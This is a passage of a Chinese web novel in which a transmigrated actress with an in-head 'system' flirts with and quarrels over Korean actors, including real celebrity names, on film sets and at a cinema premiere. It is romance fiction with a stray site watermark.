狭小的楼梯间，台阶上布满了旧积的灰尘，锃亮的黑色牛津皮鞋上占满了灰尘。他抬起脚底，不动声色地蹭了蹭。 楼上的宋玉妍得到了系统的提示，但还是满不在意地继续梳着头发，给自己的发尾擦上玫瑰味的护发精油。 黑发如瀑，顺滑又散发着光泽。 在对方打来第二十三个电话时，她才漫不经心地接起。 第30章 第三十章 “你住在第几层？”李正宰压抑着语气中的烦躁，尽量让声音听起来柔和。 他在楼梯间站了足足有二十来分钟，看着落日熔金。鼻腔里面吸入的气体充满了灰尘的味道，让他忍不住咳嗽了两声。 “三楼楼梯上来左手第二间。”宋玉妍回答后，把电话挂了。 看着原本锃亮的鞋尖沾染上灰尘，变得灰扑扑的。李正宰嫌恶地跺了跺脚，只觉得自己和这里的一切都格格不入。 手工定制的英式西服变得也没有那么光鲜亮丽了，手里的玫瑰花似乎都焉巴了许多。 这让他产生了很不好的联想。仿佛他还是二十多年前，那个要依靠去咖啡店打工补贴家用的穷小子。 他一边踩着台阶，一边用力地屏住呼吸。在最后一节台阶时，李正宰不着痕迹地蹭了蹭鞋底。找到对应的老旧房门，屈起手指敲了敲。 开了门，宋玉妍当时很疲倦，倚靠在门边，莹润白皙的脸微微上扬。像是刚刚洗完澡，皮肤微微泛着粉，齐刘海 下的丹凤眼里满是惫怠。 “你来了啊。”接过他递过来的大束玫瑰，她转身放到铺着浅绿色碎花桌布的桌上。“不用换鞋了，直接进来吧。” 李正宰进来的第一时间只觉得狭窄，十几平方的屋子，摆满应有的家具之后，再塞下两个人显得捉襟见肘。 虽然这间考试院被宋玉妍打理地十分具有生活气息，但改变这里环境破败不堪的事实。他心情很是复杂，“你就一直住在这里？” 对方让他越来越看不透了，一边甘于这样简陋的居住环境，一边却想要贵重的奢侈品。现在keyeast应该还没有破产。 她没有回答，用铃兰花造型的高脚杯给李正宰到了杯水放在桌上。又指了指屋内唯一的一张椅子，“坐吧。” 一坐下，他只觉得身体伸张不开，被西服包裹着的大长腿只能委屈地蜷缩着。 “叫我来有什么事情？”李正宰淡然地问道，好像之前心情焦灼的人不是他一般。 宋玉妍捋了捋自己的头发，“突然想听你给我念书，不然浪费了你的声音。” 就为了这个把他从汝矣岛喊了过来？他心中一片无语，但还是拿出kindle准备给她读一下《小王子》。 李正宰的英文发音是地道的伦敦腔，当他刻意压低声线。流利的发音听起来更加悦耳低沉，更加地慵懒磁性。下一刻，他的手被一片温软覆上，素白的手指从他手里把阅读器抽走。“我不要听这个。” 宋玉妍走到书桌前，从抽屉里抽出《素食者》，明明封面是富有生机的翠绿色，但让人不寒而栗。 “我想让你读这个。” “这个？”这本书屡次被下架、被列为禁书，李正宰有些迟疑，他不知道为什么现在的宋玉妍会看这本书。但是对上她坚定的表情，还是选择退让一步。 他翻开扉页，这一页被主人密密麻麻标注了很多。但是他却一个字都看不懂，因为都是方方正正的中文。 “妻子吃素以前，我从没有觉得她是一个特别的人……”他看着熟悉的韩文符号，忽然有些如鲠在喉。读不下去了，每个字都带给他沉闷到窒息的感觉。 宋玉妍让他站起来，把椅子挪到床边，然后再示意李正宰坐下。她躺在对方的腿上，拨了拨如海藻一般散落的头发。 他的声音卡壳了一瞬，大腿处接触到的热源连绵不绝地传来。粉色棉麻质地的睡裙只显得她更加柔软白皙，沐浴过后的肌肤更加吹弹可破。 原本在楼下等待的不耐，如今彻底被一扫而空，李正宰为她找好了理由：在浴室没有听到手机铃声也再所难免。 浓郁的玫瑰香味萦绕在他的鼻端，让人仿佛置身清晨的玫瑰庄园。他有些分不清是桌上花朵的香味还是身下人发间上的味道。 香味让他开始有些头晕目眩了。李正宰伸手拿起桌上的杯子，吞咽了一大口，这才缓解了喉间的干涩。 一时间，室内好像只留下他轻柔的阅读声。在看到宋玉妍疲惫的阖上双眼后，他刻意把咬字放得更加柔和，顿挫感减弱了不少。屋外灯红酒绿的喧嚣与他们无关，一片静谧。 李正宰看着身下人呼吸深深浅浅，声音一顿，眼底是自己未曾察觉的温柔。 气氛太好了，发丝顺着呼吸的起伏，带着温柔的意蕴掠过他的指尖。他把书合上，然后放在她的头发上，脸上少见的温润又有些莫名其妙地笑了一下。 恍然间，李正宰觉得一直这样下去似乎也不错。如果他没有进娱乐圈，而是一直在咖啡厅打工。是不是就不用算计自己的每一分钟，也不用去计较每一份交际能给他带来多大的价值。 这一切来的都太不容易了，或许平淡地生活、平淡地娶妻生子会更加快乐的度过这一生。 偶然的一个傍晚，浅浅地给伴侣读一本书，或者帮她把湿漉漉的头发吹得柔软又蓬松，消磨这样闲适的时光。 也许是氛围太过美好，李正宰忽然闪过一个念头，好像和对方结婚也很不错。 心中泛起的涟漪越来越大，他克制这这份贪念。把睡着的宋玉妍从腿上轻轻搬到枕头上，给她盖好被子。望着窗外只能看到一半的圆月。 《素食者》被他搁置在腿上，他用修长的手指翻动着。轻微的翻页声并没有吵醒睡梦中的人。 一室馨香，李正宰越是翻着这本书，心底越是压抑。他和宋玉妍谁才是那个吃肉的人呢？复杂的心情让他在天光破晓前就离开了，没有惊动任何人。 在她醒来时，另一个人已不知去向。 —— 第一次演偶像剧里的恶毒女配是什么感受？宋玉妍只觉得很快乐，像是压抑久了的本性被释放了出来。 不管是用京都口音的日语嘲讽女主，还是在金叹家把车恩尚的行李从楼梯上掀下去。宋玉妍抱着胸昂起头，居高临下地俯视车恩尚。 “从我爸爸的爸爸的爸爸那一辈开始，就没有一刻是没有钱的。”这句台词一说出口，把这段推向了高潮，她嘲弄着看着下放故作可怜的小白花。心底一片不屑一顾，总有自认貌美的穷人，总觉得能够依靠自己外貌就能达到跃迁阶级的目的。 这番表演，把眼高于顶的财阀骨子中的傲慢恶毒刻画地入木三分。 导演看着监视器里的画面，在心底叹口气。女主的扮演者朴信慧无论是外貌还是气场都被宋玉妍稳压一头。 在镜头里的具体体现就是，观众会不自觉地把视觉中心放到楼梯上的那个恶毒又貌美的身影上。 “停一下！”导演看着完全失衡的画面，还是忍不住停下拍摄进度。对着朴信慧说道：“你就算是要表现倔强，也不要把头完全垂下去。镜头里完全找不到你的脸了！” 原本偶像剧处理这种女主被女二压戏的情况，都是让配角给主角让妆。不管是服饰还是妆容都尽量朴素一点。 但《继承者们》很是特殊，女二扮演的财阀如果服饰太过糟糕的话，会让观众没有代入感。 再加上宋玉妍又不是什么没有背景的新人，刚进组立马就换了一个跟妆师，他一个没有什么话语权的电视剧导演还是不要多嘴了。 在第三次开拍时，导演发现画面失衡的问题还是没有解决。宋玉妍身上仿佛自带聚光灯，再加上精湛的演技，简直无法让人挪开眼睛。 姜信孝导演没有办法，只能让美术组的工作人员想把法置景，尽量把视觉中心往朴信慧这边挪。再让化妆师给她把妆化浓一点，然后手把手地带着她走了一遍戏。 镜头切换，两人的脸重新出现在监视器里，一人倔强小白花，一人秾丽高傲。 按道理来说应该是在画面中平分秋色才对。 姜信孝没有办法只能亲自掌镜，先是拉了一个大全景，在行李箱被扔下的一瞬间，他只给了宋玉妍一个中景。到朴信慧说台词时，反打了一个面部特写。 也只能这样了，这间别墅租金很贵，没有这么多时间能在这里消磨。他大致看了眼，然后说了一句cut，这段戏就算完了。 宋玉妍拍完戏，眉眼间属于角色的高傲还没有完全消散。她接过崔玉珍递过来的水杯，浅浅地啜饮了一口。原本涂满哑光口红的唇变得亮晶晶起来。 化妆师过来帮忙补妆，手法小心翼翼地，观察着艺人的脸色，奉承道：“大发，完全伟大的演技和美貌。宋玉妍xi是财阀吗？不然为什么能演的这么像？” 对于整个化妆团队，她都没有好印象。看向化妆师时，似笑非笑地回来一句，“财阀才不会亲自去和未婚夫的情人计较，丢份。” 化妆师碰了个钉子，没想到她这么难讨好，当即讪讪地假笑了两声。等自己的工作做好后默默收拾好工具离开了。 “代表nim说晚上公司为《隐秘而伟大》包场了，晚上所有人都要去支持金秀闲xi。”看宋玉妍今天的通告快结束了，崔玉珍冷不丁地放出了一个大雷。 她瞬间有些无语，别的 公司团建是去济州岛海钓、汉拿山露营再不济也是去韩牛店吃烤肉。 偏偏keyeast团建就是观看自家艺人的电影，按照代表那省钱的性格，估计连爆米花和可乐都要自己掏钱。 “可以不去吗？”上了一天班已经很累了，下班还要陪老板和同事社交，简直就是疲惫加倍。 “代表nim特意叮嘱我，你必须去。”崔玉珍脸上露出两难的神色。 宋玉妍平复着自己的心情，只能接受。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第三十一章 公司的营销开始发力，论坛和ins上到处都是关于宋玉妍的词条。她坐在车里拿手机漫不经心地刷着帖子，随手把墨镜往脸上一带。 “毯子？”她朝助理伸手。今天穿的是酒红色鱼骨包臀裙，衬得她更加肤如凝脂，像是一朵漂浮在火焰上方的红玫瑰。 但没有毯子盖在大腿上的话，裙子短，有些容易走光。 “你喜欢的那个送去干洗了。”崔玉珍有些惶恐，艺人用毯子的时间并不算多。加上最近气温升高，她就没有准备备用的。 宋玉妍没有多说什么，只是不带情绪地看来她一眼。继续在后座上继续回复着徐仁果的信息。 黑色长卷发微落，眉眼自带的攻击性减弱不少，看起来很是温柔恬静。 对方和她分享关于在《nobreathing》剧组的趣事。她就当没有看破徐仁果的小心思，能逗她开心，去戳破人家的小心机做什么？ 发来的照片里有他们在在泳池边的物料，赤裸着上身，八块腹肌像是白巧克力，清晰可见。 照片里的主演们青春洋溢，三位脸赞在一起看得人心情更好。 徐仁果的公司还是比较捧他的，第一部电影搭档的就是李中硕和大热女团的权郁利。 「出演竞技电影的感受怎么样？」宋玉妍没有对照片发表评价，只是询问他在剧组的日常。 「太累了，导演天天让我们游三千米。」徐仁果看到对方的回复之后，立刻在泳池边支起身体。原本打算下水游一圈，现在却摘下泳镜，为了回复对方的消息，手指在屏幕上敲出残影。 但他抓着手机，看着再也了无音信的社交软件，眼底不免染上失望。 “宋玉妍xi，到了。”听到助理提醒，她也收起手机。 龙山CGV影院 周边有媒体拿着摄像机在蹲守，粉丝有组织地拿着金秀闲的应援手幅和海报。 她整理了一下有些上移的裙摆，拿上手包，侧身下车后，没有理会旁边媒体的拍照。自顾自地把墨镜往上推了一下，冷脸掠过这些小报媒体。 今天有资质的媒体早就被邀请到影厅内。里面不但设置了吧台休息，还贴心准备了精美的伴手礼，能在外面蹲守的都是得不到邀请函的。 今天来的粉丝大部分都是金秀闲的，她瞥了一眼也准备掠过去。 今晚的主角不是她，还是不要搞事情好了。 下一秒就有人出声，“宋玉妍xi，可以给我签个名吗？” 在没有转身之前，宋玉妍还以为是自家老板帮她买的粉丝。转 身之后才发现是原主出道以来，就一直追随的大粉。她立刻摘下墨镜，浅笑晏晏道：“当然可以。” 眼见自担认出她来，大粉连忙抱怨道：“都快半年时间没有见到欧尼了。行程什么的完全追不到！keyeast也真是的，签约都没有个签约仪式，艺人的行程单也不发官网。” 粉到现在全凭当初在大荧幕上的惊鸿一瞥，站子到现在还能有百来个粉丝全靠她维持。 没想到前经纪公司公司是一个草台班子，现在的这个也不遑多让。 宋玉妍只是含笑听她抱怨着没有打断，演员的真爱粉通常比爱豆的要长情多了。当她听到粉丝抱怨没有通告、已经开始吐槽裴永俊时，在心底默默给代表道了个歉。 拿起马克笔，利落地给对方自印的明信片一一签上名字后，她把经纪人的电话留下了。 “后续我的工作你可以问我经纪人。” “诶还是之前那个吗？”粉丝输入备注时发现拼写居然和上一个经纪人一模一样。 “内！” 旁边金秀闲的一个大粉注意到这边的情况，看到宋玉妍的脸之后，把自己的手幅递给旁边的人。 “呀！宋玉妍？离wuli欧巴远一点！”就算是暮色也遮掩不住她婀娜的身段，想到她和自家偶像一起拍的亲密广告，粉丝眼底闪过一抹嫉妒。 宋玉妍才懒得和其他人粉丝掰扯，把茶色的墨镜重新戴起之后，留下一声嗤笑转身就进去了。 周围所有的光亮此刻都沦为陪衬，身影纤细又窈窕，精致的蝴蝶骨透着暗戳人心的欲色。微风吹来，放在肩膀两侧的卷发跳动着，远远看去宛如藏蓝色谱曲上最优美的装饰音。 狗仔眼疾手快地拍下了刚刚那一幕，对着自己的同伴说道：“我们是不是应该跟一跟她，不是有爆料说她不但和自家老板关系亲密，和许多男艺人都关系不清不楚吗？” “跟肯定是要跟的！爆料都收到这么多了！但是先等等，我看宋玉妍有红的命。等开年我们再一起爆，和d社抢到头条，一年的奖金都有着落了。” 什么时候爆都是有讲究的，现在她咖位不够，观众吃吃瓜也就过去了。以后要是成为一线女星，这爆料放出来，他们报社半年kpi都够了。 看着已经进去的宋玉妍，他们内心也是复杂。谁能想到被前公司发了业内雪藏令的艺人还是能通过小银幕重新走红。 刚找到imax影厅的宋玉妍，影片都快要开场了，片花已经开始播放。 自家老板在朝她招手，裴永俊的左边是今天的主角金秀闲，右手边的位置却留给了她。这一举动无不是在向现场的媒体表明对她的“宠爱”。 坐下之后，裴永俊往她手里塞了鲜榨的菠萝果汁和焦香味十足的爆米花。 “给你买好了，不许在外面到处说我们keyeast小气了，这样还有哪个艺人敢签？” 顺手帮她把果汁插上了吸管，这样喝起来不会破坏她的唇妆。 宋玉妍接过之后，浅啜了一口，果汁是她喜欢的味道。爆米花则一口没动，她可不想在剧组时过一天只吃一顿减脂餐，剩下时间都是液断的日子。 “谢谢代表nim。”她甜笑起来像是一块裹了蜜的香软蛋糕，软软糯糯的声音简直要拉出丝来。 看着她上移到大腿根部的裙子，裴永俊狠狠地皱了皱眉头。“助理怎么没有给你准备毯子？” 看到她不说话，就知道应该是崔玉珍工作没有做好，不够小心仔细。 他脸色有些冰冷难看，眉毛皱的更紧了，“花钱雇来的，怎么这点事情都做不好？” 他招手，让自己的助理过来，附在他耳边说了几句。 “算了，也是我之前和她说过，这些东西用两个星期就要送去清洗。”宋玉妍漫不经心地拨弄着耳畔的金属流苏，眼波流转间全然是不经意的妩媚。 隔了一个身位的金秀闲注意力完全没有在自己主演的电影上，余光却一直在观察着两人之间的互动。 就算宋玉妍进来之后，没有第一时间和代表鞠躬问好，代表似乎也习以为常。 不光是如此，老板在电影开场之间一直抱在怀里的果汁和爆米花，也是给她准备的。 金秀贤若有所思，看来经纪人说得有些话，并不是无故放矢。 电影一开场，就是一个风雪交加的晚上。 宋玉妍看着电影在琵琶角海边穿着军装制服、在风雪里神色坚毅又晦暗的元流焕，忍不住转过头重新打量着扮演者金秀闲。 只 这一个画面，让他看起来别具魅力，简直就是美强惨的具像化。 她咬着吸管看得有些入神了。 身旁的裴永俊看着媒体拍摄时，对着她的镜头都有意无意地下移，心烦意乱地稍稍倾身挡住了一些。 拿出手机，给助理发了个消息，催他赶紧找到毯子。 五分钟后，柳助理气喘吁吁地弯腰小跑进来，给自家老板递来一个橙色的包装盒，连系带都没有来得及包装。 裴永俊打开盒子，把包装的透明白纸掀开，然后拿出米色和浅咖色拼色，超级大的H字母logo的婴儿毯。 展开后又细心地对折好，然后铺在宋玉妍的腿上，手指不小心划过一片到裸露的细腻肌肤。 “影厅里面的空调温度太低了，还是盖上毯子吧。”他镜框后的眼底流露出难以言喻的情感，视线交汇时蕴满了温柔。 刚刚碰到的指尖被他缩回到西裤口袋处，在隐蔽的角落手指轻轻地抚弄着。 察觉到原本因为冷气吹拂，导致腿上的肌肤有些敏感。被柔软的毯子盖上后宋玉妍有些感动地看着自家老板，调整了一下毯子的角度。 “我们代表简直就是全世界最好的老板！” 忽然觉得气氛有些单方面的微妙，裴永俊久违地体会到少年时第一次心动的心跳如擂鼓。 他若无其事地移开视线，盯着地上因为昏暗灯光投射下来的两人影子，有种紧紧依偎的错觉。 “好好看电影吧。”这句话像是从嗓子眼挤出来的。他换了个姿势双腿交叠，双手拢成拳放置在膝盖上。在幕布反射的光影下，脸色晦暗不明。 后续的情节让宋玉妍兴趣缺缺，主演为了更好的隐藏身份一直穿着丑陋的绿色运动装。过长的头发完全把原本精致俊秀的容色遮掩地一干二净。 “老板，我去洗手间补个妆容！”打了个招呼后，把毯子叠好放在座位上，就离开了。 看到她起身后，今天的主角犹豫了片刻，也起身离开影厅。两人的方向似乎是一致的。 这里的洗手间装修风格和豪华酒店大差不差，很有情调的中古风，镜子镀金的框架上布满花卉的纹路。 宋玉妍洗完手之后看到洗手台上还配备了漱口水、护发精油以及oliveyoung的护手霜。 没有选择酒店提供的，而是擦干净手，从包里拿出欧舒丹的护手霜。 刚准备擦时，一道低沉的男声传来。“上次忘记加你联系方式了，好歹是一个公司的，以后还要一起宣传。所以你的电话号码？” 她转过身，这南韩艺人都喜欢在洗手间要联系方式的习惯能不能改一改。 第32章 第三十二章 宋玉妍没有正面回答这个问题，而是拿起粉白相间的银管然后挤出一点护手霜。 乳液的质地很好涂开，帮她把手上肉眼无法察觉的纹路填平，树莓和玫瑰的香味萦绕在不大的空间。 金秀闲干脆掏出手机，打开通讯录，有些固执道：“要不你自己输？” “你要来一点护手霜吗？”她蹙了蹙眉头，发现还是有些挤多了。之前一直用的是啫喱质地的，这个版本用量并不需要那么多。 海藻般的黑色长卷发披散着，酒红色的包臀裙把她身体的曲线勾勒的淋漓尽致。昏黄的灯光下，越发肤若凝脂。 他的视线从精致的雪颈滑落到肩头。 白到反光如同上好的和田玉，让人想要放在手心好好把玩一番，看看是不是如外表那样温润。 联想到当时拍广告时，宋玉妍的手不光是把玩了毛衣链，还顺着衣摆的弧度，手指滑进去在他腰间蹭了几下。 金秀闲的眼神幽暗了一瞬，当她把温热的手贴上他修长的指节时，第一时间并没有拒绝。 树莓和玫瑰的味道更加浓郁了，一时之间两人都没有说话。此刻两人之间的姿势有些暧昧， 宋玉妍几乎要被抵到墙角了，金秀闲深棕色单扣孟克鞋封住她脚尖。丝丝暧昧参杂在两人之间的空气中，顺着护手霜的味道不断发酵。 想到刚刚他在电影中的制服，合身的军装勾勒出笔挺的身材。她有些意动，暗暗地调整一下高跟鞋站姿，用柔软的手臂勾着他的肩膀，不料下一刻银色的鞋跟撞到暗金色的墙上。 宋玉妍失去了平衡，整个人几乎要撞到金秀闲的怀中。 他顺着下意识的反应，紧紧地搂着她的肩膀，两人的身体几乎严丝合缝。终于握上了这抹雪色肌肤，金秀闲偏头俯身，发烫的手心抚过蝴蝶骨，手上忍不住再加上三分力道。 这时宋玉妍的手机铃声忽然响起，她松开自己的双手，胡乱地在包里翻找着。好容易找到，才发现是经纪人发来的短信。 「金秀闲的新电影《隐秘而伟大》第二天的票房统计出来了，居然有91万观影观众。是电影史上最高的单日观影人次，什么时候你能有这样一部电影，我就死而无憾了！！！」 她被经纪人夸张的口吻逗笑了。收起手机后，向面前重新恢复腼腆又不善言辞的男人道喜，“金秀闲xi，粗卡得密达，你可是打破了记录，完成了忠武路那群大佬都没有完成的壮举。36小时就突破了100万观影人次，大发！” 听到宋玉妍的祝贺，他忽然有些忍不住红了眼眶。 经纪人很少给予他肯定，正向的情绪价值几乎没有，电影成功的第一声祝贺居然是从一个“陌生人”口中道出。 她看着对方紧紧地盯着天花板上小小的吊灯，揣测他是不是在控制让自己的眼泪不要掉出来？ 他在想什么呢？ 是在想明明是星二代，却只能和母亲相依为命长大？ 是为了梦想，不顾旁人的流言蜚语，考了四次才考上的中央大学？ 是入行之后还要省吃俭用地为自己攒心脏病手术的医药费？ 宋玉妍有些不忍心对上那双像是过了水的墨色眼眸，长长的睫毛遮住眼睛里的脆弱。她掰过对方的流畅的下颌，迫使他低头，下一秒粉唇毫无征兆地贴上他饱满的嘴唇，两秒后分开。 然后踩着高跟鞋翩然离去，“下次如果还有机会合作的话，我就给你联系方式。” 金秀闲面对骤然“袭击”，显得有些猝不及防、瞳孔微缩。还没有细细感受那份温软，香气就已经远离。呼吸慢慢变得沉重起来，喉结随着不自觉吞咽的频率上下滑动着，剑眉紧绷的的弧度拉出额角的青筋，眼眸低垂遮掩住涌起的暗色。 回到座位上。 她看着已经步入尾声的电影，走神地盯着屏幕。想到刚刚一时间的意乱情迷，觉得自己简直就是昏头了。 但气氛到那里了，宋玉妍只是遵循自己的内心。 脑海里的系统已经开始摆烂了，现在对宿主的最低要求就是最后能和攻略对象在一起就行。 但它还是为金秀闲发声：「你又不喜欢他，干嘛撩人家？」 自家宿主它还不知道哪德行？长相温润、情绪稳定、1米8、演技好、年下有腹肌的男人才是她的取向狙击。 「感觉他的嘴唇很性感，想亲一下试试看。」宋玉妍把毯子重新铺在腿上，漫不经心地回答道。 「……」系统忽然没有办法在cpu中找到合适的词语，半天才能憋出一句「你吃的真好。」 「还行吧。」她无聊地拨弄着自己的卷发。 下一秒片尾的彩蛋播放完毕，制作组的名单开始翻滚。影厅里面所有的白织灯都亮了起来，宋玉妍条件反射般地闭上眼睛，不想被刺激到生理性地流泪。 从她额前方投注下来一片阴影，正好帮她挡住灯光对眼睛的侵袭。抬眸一看，才发现是左手边老板，侧身用手帮忙遮盖住了。 “完了，我们代表这样温柔细心……” 裴永俊听着宋玉妍娇软的声音，心脏不自觉地跳快了一拍，她会说什么呢？ 那一瞬间，他不知道为什么，鬼使神差地就伸出手，帮她遮住顶部灯光的刺激。 “看来我要为keyeast打一辈子工了！”她的语气里带着两分戏谑三分轻佻。 没有听到自己想要听的，他分不清自己的内心，到底是松口气的感觉多一些还是失落更多一点。起身整理了一下银灰色西装外套上浅浅的褶皱，然后抬了抬金丝边镜框眼镜。 “等会记者会有记者采访，你先走 吧！” “又不是我的电影，找我我来干什么？”宋玉妍小声嘟囔了一句。 简直要被她气笑了，裴永俊带着无语反问道：“到底你是艺人还是我是艺人？代言不接、商业站台不参加！就连这种不累的公司团建曝光都不要？我下次直接给你发配到全罗北道，参加韩牛养殖推广活动。” 让她下乡养牛去好了！一天天给惯的。 宋玉妍看到自家老板有点生气也不畏惧，反而眉眼弯弯地笑道：“代表nim要是能让我实现韩牛自由，我完全没有问题。” 看着从她回来之后，心不在焉频频望向她的金秀闲，裴永俊有些头大。“你快回去休息吧！别耽误金秀闲xi给公司赚钱了！” —— 京畿道华城市东滩国际高中 宋玉妍坐在自己单独的化妆间内，专心致志地看着剧本。《继承者们》在美国的室内戏份早就拍摄完毕，现在进度回到了帝国高中。 门外传来敲门声，“宋玉妍xi，我可以进来向你请教一个演戏方面的问题吗？” 被打断思绪的她有些烦躁地皱了皱眉头，但是听到是关于演技方面的交流，还是好脾气地说了句“进来吧！” 崔振和转身，先是把手中的冰美式和沙拉包装袋放在化妆桌上。包装十分精美，是周边一家价格不菲的轻食餐厅出品。 “他们家很有名，非常适合演员，你可以试试看。” 看到是自己最厌恶的美式和减脂餐，宋玉妍拧紧的眉头就没有松开过，笑容僵硬地起身道谢：“麻烦崔振和xi了，请问是哪里有问题？” 他本来就是醉翁之意不在酒，只是想和她变得亲近起来。面对宋玉妍疑问的眼神，当下支支吾吾地回答不上来。胡乱地扯出自己的台词本，翻到金元和全贤珠相处的那一页，随意一指。 金元这个角色谈不上多复杂，更何况指的是一场平平无奇吃饭戏份。宋玉妍当下不耐，面上还是温柔地轻声细语和对方对戏。 想到和她莫名的缘分，崔振和忍不住心猿意马。 “我等会化妆师要来帮忙化妆，可能今天就先到这里了哦。”在不熟悉的人面前，她终于学会用温柔掩饰住自己的真实的性格了。 “好的好的，谢谢你呀！”意识到自己似乎打扰到对方，他涨红着脸，连连往门后退去。脚还不小心绊到踉跄了一下。 这也逗得宋玉妍露出他进门后第一个真心实意的笑容。 等人走后，看着桌上的食物，她对助理说：“你想吃的话就吃掉吧！不吃就处理了。”随后继续背用荧光笔标记好的台词。 没有两分钟，敲门声又响了起来。她这次自己去把门打开了，发现这次是剧中官配李孝信的扮演者姜河纳。 “宋玉妍xi，有空对一下戏吗？”门外的人像是很想和她拉近距离，脸上的笑容温润俊朗。 “抱歉！没空呢。”她整个人把门挡在身后，拒绝人进入的想法很是明显。 就想好好背一下台词，怎么就这么难呢？况且和他的对手戏都是在后半部分，现在对戏用处不大。 刘Rachel的很多台词又长又拗口，偏偏她又没有过目不忘的记忆力。背台词背得烦，还三番五次有人来打搅。 看到对方浑身都散发着拒绝，姜河纳只能讪讪地摸了摸鼻子，然后故作不在乎地耸了耸肩膀。“那好吧！你好好休息！” 再次把门关上，宋玉妍心情很是糟糕，幸好电视剧拍摄很少有强制合宿的要求。不然这一天天被抓着对戏，她都没空干其他的事情了。 等敲门声第三次响起，她的语气里已经满是按耐不住的烦躁。“谁啊？” 金宇斌从门后闪了进来。 “今天不对戏！”语气里满是压抑不住的烦躁，宋玉妍都没有力气笑了，只能无力地板着脸。 “谁惹我们sister不高兴了？不是对戏，是导演那边开拍了！” 第33章 第三十三章 和郑秀京的对手戏结束后，助理拿着宋玉妍的手机面露难色地走了过来。凑到艺人这边低声道：“李正宰xi打你电话打不通，打到我这来。他好像很生气，我已经和他说了你在拍戏。” 她接过手机，对方却没有第一时间说话，厚重的呼吸声通过电流传来。对面的呼吸越来愈急促，像是不快的情绪快要压制不住了。 “李正宰xi” 他猛地深呼吸了一下，努力压制内心的怒火，让语气听起来尽量云淡风轻。“你和金秀闲是怎么回事？” “莫？”宋玉妍是真的有些摸不着头脑。除了之前在洗手间浅啄了一口金秀闲，也没有做其他的事情。 她开始打开手机，切换到其他的社交平台，并没有发现有媒体报道他们两个之间的绯闻。“你又在冷暴力什么？”她忽然开始理智气壮了起来，“只是公司给他新电影包场，老板要求我们都去而已！” “呵！”李正宰被她颠倒黑白的本事给气笑了，“需要我提醒你一下吗？龙山CGV，四楼洗手间。” 最后几个字简直就是一个字一个字地往外蹦。 宋玉妍一时语塞，一时间找不到合适的借口来搪塞过去。 “我原本以为我们之间是在以床伴之名行恋人之实，我也知道你对我有怨气。但现在像狗这样把我耍得团团转，你满意了吗？” 他的内心既是愤怒又是苦涩。本以为两人之间已经达成一致，谁曾想只是他的一厢情愿。 察觉到自己眼睛有些干涩，李正宰在自己的休息间内，无力地靠在沙发上。握着手机的手指不自觉地用力，直到小臂上的青筋都暴露出来。 他只觉得托关系找人定包，打算带去爱马仕配货拿包、讨她欢心的自己简直就像是个小丑。 床伴这个词敲碎了宋玉妍内心所剩无几的愧疚，她故作无所谓地说道：“你知道的，看不得漂亮男人流泪是所有女人的通病，我和金秀闲也只是朋友罢了。” 他几乎要被这个解释给气笑了单手从兜里掏出烟盒，抽出一根含到嘴里。拿出打火机对准顶部一点，然后开始吞云吐雾。烟雾后的眉眼间满是跳动的怒火，面色冷漠阴郁。 控制不住地冷笑一声，他最讨厌被人当傻子一样玩弄。 “我怎么不知道朋友之间还可以嘴对嘴的亲吻？你们是不是到时候还会“礼貌性”地上床？就因为你看不得漂亮男人流泪？嗯？” 宋玉妍没有说话，只能用沉默来应对。 李正宰看到自己手上的打火机还是她特意定制的。 他一向视若珍宝。怒火终于抑制不住了，把银色的金属直接往墙上一扔，“这是什么西巴理由？西八漂亮男人！呵！” “啪”的一下把电话被挂了，宋玉妍给的这理由还不如不解释。 听到化妆室里，传来金属磕到玻璃制品发出清脆刺耳的噪声后，权相俊推门进来。 只看到自家艺人气到双腿分开，手臂放在大腿上交叠，垂着头看不清神色地大口喘着粗气。 “导演那边在催了！” 他仍然没有抬起头，把身体更加往下贴，有些难受地抱住头，努力地平复自己的情绪。“你和他说再等一会，就说我不舒服。” 经纪人叹口气，从开始他就不看好这段感情，李正宰光是付出不张嘴，宋玉妍则是透着一股傲慢的天真。 要不是自家艺人明里暗里帮她当了多少龌龊，她怎么可能能清清白白地在忠武路拍戏？ 现在好了，对方终于学会弯下腰了，懂得人情世故。李正宰终于可以轻松一点，不用帮她收拾烂摊子，又被人拍到宋玉妍和其他男艺人亲热的照片。 权相俊自己带入一下都觉得要疯。“李正宰xi……”他权衡着，到底还是把规劝说出口：“你又不是非她不可。” “出去！滚！”李正宰 终于抬起来头，眼睛里是猩红可怖血丝，冷漠的目光紧紧地盯着他。“轮不到你来教我做事！” 经纪人连忙开门逃了出去，也是跟在艺人身边久了，丢失了原本那份边界感。看他把绅士的外衣披久了，就真的觉得他是这样的好性格了。 等经纪人把门关上之后，他无力地瘫倒在沙发上。碎发垂落，用手捂着眼睛，就算房间里面没有其他人，李正宰也不想展示自己这番狼狈的模样。 想到他认认真真地告知圈子内的朋友，宋玉妍是他的恋爱对象。转而就有人不怀好意地把她和金秀闲接吻的照片发过来。更可笑的是，他还不得不花钱堵住别人的嘴。 不然他李正宰将会成为整个忠武路的笑话！ 他也是真的被自己蠢得笑出了声，不知不觉中眼角滑落了一点湿润。看来是真的很好笑，都笑出了眼泪！ 「宿主，攻略对象好不容易涨到及格线以上的好感度，现在又跌回去了。」系统已经习惯自家宿主的骚操作。 在看到李正宰好感度的曲线大跌特跌，已经丝毫没有波澜。甚至还有心情单机玩分手厨房时，控制三个角色，给另外一个主控角色扔食材。 宋玉妍没有想到她居然翻车了，虽然内心也没有底，面上还是一片稳操胜券的态度。 「没事，反正在我们离开这个世界之前好感度总会刷满的。结婚还能又二婚呢，你们作为高科技文明总不可能只让宿主谈一次恋爱？让我为攻略对象守赛博贞洁吧！」 「当然不会！」系统立刻反驳道：「我们可是宇宙里最先进的文明，宿主你开心就好。」 她不为人知的压制里终于带上了喜悦，系统丝毫不知它已经被套路进去了。 「那你觉得我下一个男朋友是找徐仁果好，还是金秀闲好？」 系统通过数据比对，有些支支吾吾道：「可能都不太行，徐仁果的经纪公司已经被李正宰警告过了，不让他和你搅在一起。金秀闲的话，裴代表应该不会允许，同公司演员恋爱风险太大。」 那好吧，宋玉妍有些无可奈何。 取景的这个校园，风景很好，不但有专业的泳池和足球场，就连马术场地都配好了。 她拿着自己的包，走在窗明几亮的走廊，眼底闪过一丝羡慕。 「系统，有机会的话，我要体验南韩财阀的生活。我专心摆烂，然后给你导入很多很多单机游戏，我们好好享受生活然后压哨完成任务。」 它默默地把宿主的诉求给记下来了，没办法分手厨房是真的太好玩了。 “sister”金宇斌和崔英道的性格有些相似，都有点贱贱的。戏里崔英道喜欢逗刘Rachel，戏外他喜欢逗宋玉妍。 